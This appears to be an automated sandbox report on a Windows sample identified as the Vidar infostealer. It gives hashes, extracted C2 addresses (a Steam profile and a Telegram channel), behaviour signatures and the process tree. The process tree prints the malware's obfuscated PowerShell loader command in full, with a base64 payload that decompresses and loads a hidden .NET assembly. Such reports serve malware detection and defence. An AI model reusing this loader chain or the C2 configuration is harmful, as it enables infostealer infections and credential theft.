Analysis

  • max time kernel
    599s
  • max time network
    601s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2024 22:54

General

  • Target

    bd2.exe

  • Size

    271KB

  • MD5

    8b8db4eaa6f5368eb5f64359c6197b43

  • SHA1

    e9b51842e2d2f39fa06e466ae73af341ddffe1c8

  • SHA256

    55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77

  • SHA512

    4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056

  • SSDEEP

    6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap

Malware Config

Extracted

Family

vidar

Version

8.6

Botnet

72f54d93118188013f2386eef7e5cc05

C2

https://steamcommunity.com/profiles/76561199658817715

https://t.me/sa9ok

Attributes
  • profile_id_v2

    72f54d93118188013f2386eef7e5cc05

  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Signatures

  • Detect Vidar Stealer 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd2.exe
    "C:\Users\Admin\AppData\Local\Temp\bd2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV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IzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3864
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4200
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
              PID:2904
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 2232
                6⤵
                • Program crash
                PID:1752
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2904 -ip 2904
      1⤵
        PID:2228

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\-temp.bat

        Filesize

        192KB

        MD5

        dbd067845ef623b236646e194a907f28

        SHA1

        f53088e1113778bd99848c482ede33e35be2d368

        SHA256

        4aa4ce38e62ea30a96050046a329adfb4703f0c91a095718cc14ff405f10142d

        SHA512

        aff9b73bd9dea800fb27e906bffc034c79e16fd3ebc8d14a2e670955a38e253c4349164f813d5802689fdcab713230b121220546fbee177a544db196e2948a63

      • C:\Users\Admin\-temp.ps1

        Filesize

        1KB

        MD5

        ee6d2d219d1affb98fb9dc1de51d895e

        SHA1

        aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48

        SHA256

        017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0

        SHA512

        52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        1KB

        MD5

        4280e36a29fa31c01e4d8b2ba726a0d8

        SHA1

        c485c2c9ce0a99747b18d899b71dfa9a64dabe32

        SHA256

        e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

        SHA512

        494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        16KB

        MD5

        f0e148de0eea5b2fe4f8c988058bd66d

        SHA1

        c0d7339212a29ad67877b03892420452fbe9f098

        SHA256

        9f95608a74b19f6df015e6d6e533e2adf72f1fc2bc83e043c2d9a254c7c3c393

        SHA512

        a3b0c4224a5d48068591b174efb8e74ba7b676d5e171be4d56b09e79978bb1812af1380ba161d3d68c688167265ecf0578d15394e92f6332c969ea3041b9d0c1

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vcxci5es.ggi.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\start.vbs

        Filesize

        231B

        MD5

        abe1dd23ab4c11aae54f1898c780c0b5

        SHA1

        bb2f974b3e0af2baa40920b475582bfd4fb28001

        SHA256

        89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

        SHA512

        e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

      • C:\Users\Admin\temp.bat

        Filesize

        204KB

        MD5

        72b17467a49b7813856fa604d1d291c8

        SHA1

        3116d07854d56f0bc505be8b80804a7319208739

        SHA256

        e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1

        SHA512

        38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843

      • memory/2904-59-0x0000000000400000-0x0000000000644000-memory.dmp

        Filesize

        2.3MB

      • memory/2904-57-0x0000000000400000-0x0000000000644000-memory.dmp

        Filesize

        2.3MB

      • memory/2904-53-0x0000000000400000-0x0000000000644000-memory.dmp

        Filesize

        2.3MB

      • memory/3864-31-0x0000000074BB0000-0x0000000075360000-memory.dmp

        Filesize

        7.7MB

      • memory/3864-11-0x00000000055B0000-0x00000000055D2000-memory.dmp

        Filesize

        136KB

      • memory/3864-24-0x00000000062E0000-0x00000000062FE000-memory.dmp

        Filesize

        120KB

      • memory/3864-25-0x0000000006320000-0x000000000636C000-memory.dmp

        Filesize

        304KB

      • memory/3864-26-0x0000000007C30000-0x00000000082AA000-memory.dmp

        Filesize

        6.5MB

      • memory/3864-27-0x00000000073D0000-0x00000000073EA000-memory.dmp

        Filesize

        104KB

      • memory/3864-22-0x0000000005DC0000-0x0000000005E26000-memory.dmp

        Filesize

        408KB

      • memory/3864-12-0x0000000005D50000-0x0000000005DB6000-memory.dmp

        Filesize

        408KB

      • memory/3864-6-0x0000000002F20000-0x0000000002F56000-memory.dmp

        Filesize

        216KB

      • memory/3864-7-0x0000000074BB0000-0x0000000075360000-memory.dmp

        Filesize

        7.7MB

      • memory/3864-8-0x0000000002F60000-0x0000000002F70000-memory.dmp

        Filesize

        64KB

      • memory/3864-23-0x0000000005E30000-0x0000000006184000-memory.dmp

        Filesize

        3.3MB

      • memory/3864-10-0x0000000005640000-0x0000000005C68000-memory.dmp

        Filesize

        6.2MB

      • memory/3864-9-0x0000000002F60000-0x0000000002F70000-memory.dmp

        Filesize

        64KB

      • memory/4200-48-0x00000000073F0000-0x0000000007412000-memory.dmp

        Filesize

        136KB

      • memory/4200-49-0x0000000007B10000-0x00000000080B4000-memory.dmp

        Filesize

        5.6MB

      • memory/4200-47-0x0000000007460000-0x00000000074F6000-memory.dmp

        Filesize

        600KB

      • memory/4200-51-0x0000000005C90000-0x0000000005CE8000-memory.dmp

        Filesize

        352KB

      • memory/4200-52-0x0000000004FB0000-0x0000000004FBA000-memory.dmp

        Filesize

        40KB

      • memory/4200-35-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

        Filesize

        64KB

      • memory/4200-54-0x0000000077611000-0x0000000077731000-memory.dmp

        Filesize

        1.1MB

      • memory/4200-34-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

        Filesize

        64KB

      • memory/4200-33-0x0000000074BB0000-0x0000000075360000-memory.dmp

        Filesize

        7.7MB

      • memory/4200-66-0x0000000074BB0000-0x0000000075360000-memory.dmp

        Filesize

        7.7MB